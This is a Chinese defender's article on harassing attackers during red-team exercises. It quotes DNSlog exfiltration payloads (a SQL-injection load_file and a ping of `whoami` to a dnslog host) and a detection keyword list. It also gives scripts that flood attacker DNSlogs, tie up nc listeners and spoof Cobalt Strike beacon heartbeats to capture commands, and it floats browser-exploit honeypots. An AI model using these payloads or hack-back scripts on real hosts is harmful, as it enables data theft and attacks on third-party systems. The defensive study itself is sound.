数据外带类
类型描述
攻击方在对一个目标进行攻击时,会有一些漏洞探测的动作。当遇到没有回显的命令执行和注入时,会采用结合dnslog的方式。
命令执行:ping xx.dnslog.com
SQL注入 :load_file(CONCAT('\\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))
其它类似不一一列举
攻击发现
一般会从安全告警设备中发现,安全设备监控人员,发现类似攻击探测后,提取出攻击者使用的dnslog平台地址。
还有一些情况,看的是全流量设备。这种情况下没有告警,只能根据经验搜索了。我们可以关注一些关键词,命令执行类:ping
、curl
、wget
,SQL注入类:load_file(
、EXEC(
、EXECUTE
骚扰姿势
接下来,可以去网上找提供PING服务的网站。把上面提取出的攻击者的dnslog平台地址做为ping的目标地址,执行ping操作。
如果攻击这用的是网络上找到dnslog平台,大多情况下ping出的地址都是127.0.0.1,如果是自己搭建的dnslog平台,设置不规范的情况下会显示vps的IP。
攻击者的DNSLOG平台上面,就是这个样子了,突突突的一阵狂跳,结果没一个是他想要的。
上面这种探测只能探测是否存在漏洞,攻击方肯定想要的更多(数据外带)。
数据外带也分两种情况,一种是直接外带字符串。由于dns协议不支持部分特殊字符,所以第二种是把数据hex加密后,拼接dnslog地址外带数据。
字符串外带型骚扰 ping `whoami`.xxx.dnslog.com
加密拼接型骚扰:
当然,上面这些还略显单调。虽然产生了大量的dnslog日志,但是重复性很高,很容易就被过滤掉了。所以接下来考虑多样性。
对于字符串型,可以从网上下载一个常用用户名列表,再写个脚本读取用户名列表并调用全国ping接口大量发送dns请求。
然后就是模仿数据库常见命令返回结果的格式,伪造一些数据去发送dns请求。比如:
select version(); -> x.x.xx
select user(); -> xxxx@localhost
对于dns请求,有个坑点就是域名每两个.
之间的字符个数不能超过63个。域名总长度不能超过254个字符。
后门类
当攻击者用nc反弹shell时,可以写一个脚本,使用socket库连接攻击者接收shell的主机端口。此方法可以终止攻击者接收shell的进程。
import socket
n = 0
def conne(host, port):
global n
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((host, port))
n += 1
print("Number", n)
while True:
try:
conne('127.0.0.1', 333)
except :
pass
类型描述
对于CS,K8大佬写过一篇模拟CS上线的文章,参考链接在最后。
不过,我在测试过程中,发现模拟上线的请求url有所变化。
cobaltctrike是一个RAT工具,后渗透阶段的常用工具。利用时生成一个agent,在目标机执行agent使其上线,从而被攻击者长期控制。
攻击发现
CS支持多种协议,一般会使用http协议进行通信。大多数的流量安全设备都可以发现。
一个agent上线时,受害机会先发送一个GET请求,接着受害机会发送第一个心跳包,正式上线。
在需要执行命令的时候,CS控制端会把命令数据作为心跳包的响应,发送给受控端。数据包详情如下:
受害机发起 请求上线
特征: 1. url路径为几个随机字符,2. 请求头有4个字段,类似如下
GET /p3xB HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache
受害机发起 心跳包
特征: 1. url路径固定为/activity
,2. 相比上面请求头,多了一个Cookie
,并且Cookie
值格式固定
GET /activity HTTP/1.1
Accept: */*
Cookie: cccsP3ZpLVdNmMEudr//cTM7BpJ4mELRTC0kUZ2IQllqwwNNSSCdAld/yUEyf7QqSq/6XwgPKMXjCP3Q4sbod6LfiVbMAwlM11wx2thA9taC4uoDNfkM+1/iAZ3hqgX/DYQYUlduFVqqNGjv74BHawXPaa/Iuay/4SLd8i072SU=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache
CS控制端响应 命令数据 原生ls命令
特征: 1. 数据体部分为经过AES解密后的原生命令
HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 14:56:13 GMT
Content-Type: application/octet-stream
Content-Length: 48
_u.
.......5.............\*AAAAAk0...['hC..R...^
CS控制端响应 命令数据 Windows系统whoami命令
特征:1. 命令为明文并且位置固定,可直接获取
HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 15:03:13 GMT
Content-Type: application/octet-stream
Content-Length: 64
_u.....%...N....... %COMSPEC%...
/C whoami..AAA,.....]{A$.8....
受害机发起 命令执行结果
特征: 1. url路径为/submit.php?id=19580
,id值不固定。 2. 命令执行结果为明文且位置固定。
POST /submit.php?id=19580 HTTP/1.1
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Content-Length: 52
Connection: Keep-Alive
Cache-Control: no-cache
...0............john-pc\john
\.D.e.U..r..C.$[....UV
骚扰姿势
经过测试,我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。
def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jrb5Ht45ZLYKyXWBnxfkNI3m6BOvExECdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGSHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text
模拟上线后,攻击者执行命令的结果如下,好气┗|`O′|┛ 嗷~~:
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 114 bytes
beacon> ls
[*] Tasked beacon to list files in .
[+] host called home, sent: 19 bytes
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes
K8大佬文章中还提到,可以收集攻击者执行的系统命令。
完整代码如下,使用时替换IP
或域名、port
、cookie
:
# coding: utf-8
import re
import time
import requests
def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text
x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)
if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)
效果图
有时候防守方的系统可能存在文件上传或写入漏洞,导致攻击者上传webshell后门。一旦攻击者连接成功,剩下的就是内网一把梭了。这时候防守方最方便快捷的应对办法就是删除webshell文件了,攻击者发现webshell被删后,还可以继续上传,终归不是解决办法。
做为防守方,可以换个思路。想办法阻止攻击者成功连接webshell才是目的,所以可以修改webshell连接密码,或者破坏wewbshell功能,让攻击者迷茫去吧。
ps:
不要问我为什么不暂时停机下线,修复漏洞再上线。我想做过项目的乙方兄弟都懂。
诱捕
- 某一应用故意留个弱口令,但是登陆需要绑定微信或者手机号,从而根据微信或者手机号溯源到攻击者身份。验证微信或者手机号时,需要注意不能让攻击者绑定任意微信或者手机号。还有就是绑定的手机号不能是接码平台的虚拟手机号。(具体代码逻辑,仁者见仁,智者见智了)
- 蜜罐设置一个exp向量的页面,主要使用针对Google、火狐等浏览器的已公开漏洞。当攻击者使用了存在漏洞的浏览器访问到网页时,不知不觉就上线了。当然,这种成本比较高。